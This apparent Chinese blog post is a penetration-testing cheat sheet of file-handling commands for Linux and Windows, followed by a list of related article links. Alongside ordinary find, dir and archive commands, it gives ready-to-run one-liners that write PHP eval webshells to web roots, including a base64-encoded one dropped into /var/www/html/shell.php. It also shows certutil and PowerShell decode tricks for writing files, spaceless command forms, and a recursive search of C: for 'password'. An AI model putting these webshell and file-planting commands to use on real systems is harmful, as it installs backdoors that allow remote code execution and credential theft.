当前位置: 首页 > news >正文

【实战】渗透测试下的文件操作

目录

 Linux查找文件

Windows查找文件

查找可写目录

windows

Linux

创建

Windows

Linux

压缩

解压

远程解压文件


 Linux查找文件

>find / -name index.php
查找木马文件
>find . -name '*.php' | xargs grep -n 'eval('
>find . -name '*.php' | xargs grep -n 'assert('
>find . -name '*.php' | xargs grep -n 'system('

Windows查找文件

>cd /d E: && dir /b /s index.php
>find /N /I "root" config.php
>for /r E:\ %i in (config*.php) do @echo %i
>for /r E:\ %i in (*.txt) do @echo %i
>findstr /s /n "password" c:\*
>powershell Get-ChildItem d:\ -Include index.php -recurse

查找可写目录

windows

在C:\Users\administrator\Desktop任意子目录  war.txt文件的同目录下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (del %i\..\finddir.txt)
在C:\Users\administrator\Desktop任意子目录  war文件夹下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (echo %i > %i\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (del %i\finddir.txt)

Linux

在/root  war文件的同目录下
写
find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
在/root  war文件夹下
写
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done

创建

Windows

读文本文件:
>file = Get-Content "1.txt"
>file
写文件
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"
或
>set /p=^<?php phpinfo()?^><nul>c:\1.php
或
>echo ^<?php phpinfo()?^>>c:\1.php
追加内容
>echo 111>>c:\1.php
不换行追加
>set /p="222">>c:\1.php
分段不换行追加
>echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\www\1.txt
读/写入命令无空格
>type;c:\1.php
>echo.111>>c:\1.php
>echo,111>>c:\1.php
写入特殊字符
>certutil -f -decode 1.txt C:\\1.php
>certutil -decodehex 1.txt C:\\1.php

Linux

>echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
>echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

压缩

>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot
>7z.exe a –r –p12345 C:\1.7z C:\wwwroot

解压

>rar.exe e c:\wwwroot\1.rar
>7z.exe x –p12345 C:\1.7z –oC:\wwwroot

远程解压文件

pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/101298.html

相关文章:

  • RCE学习
  • 开源等宽编程字体 Maple Mono 正式发布 7.0
  • Flutter DatePicker 详解
  • 配置go开发环境
  • C/C++ 基础 - 回调函数
  • 设计模式——设计模式理念
  • dockerfile制作镜像
  • leetcode437.路径总和|||
  • C语言中的动态内存管理的学习
  • C++搜索
  • 【鸿蒙5.0】鸿蒙登录界面 web嵌入(隐私页面加载)
  • HTTP缓存
  • 【STL】deque(了解)
  • Linux | I.MX6ULL 终结者底板原理图讲解(4)
  • beikeshop多商户跨境电商独立站最新版v1.6.0版本源码
  • ACM模式常用方法总结(Java篇)
  • StarVector:开启多模态SVG生成的新纪元——开源AI模型的革新之作
  • 豪越科技消防一体化平台:打通消防管理“任督二脉”
  • 深度学习处理文本(2)
  • C语言快速入门-C语言基础知识
  • 2025年03月28日Github流行趋势
  • 10分钟看明白爆火的本地知识库! 掌握本地知识库基本概念与RAG的完整架构
  • 一文速通Python并行计算:04 Python多线程编程-多线程同步(下)—基于条件变量、事件和屏障
  • 【云原生】在Kubernetes上搭建Keycloak26.1.4
  • 【Rust基础】使用LanceDB构建高性能以图搜图服务
  • 代码随想录|回溯算法|09分割回文串
  • 排序--归并排序
  • Kubernetes service 基于工作原理的实验
  • IDEA 接入 Skywalking Agent ClassNotFoundException
  • 基于多二阶广义积分器的正负序谐波提取方法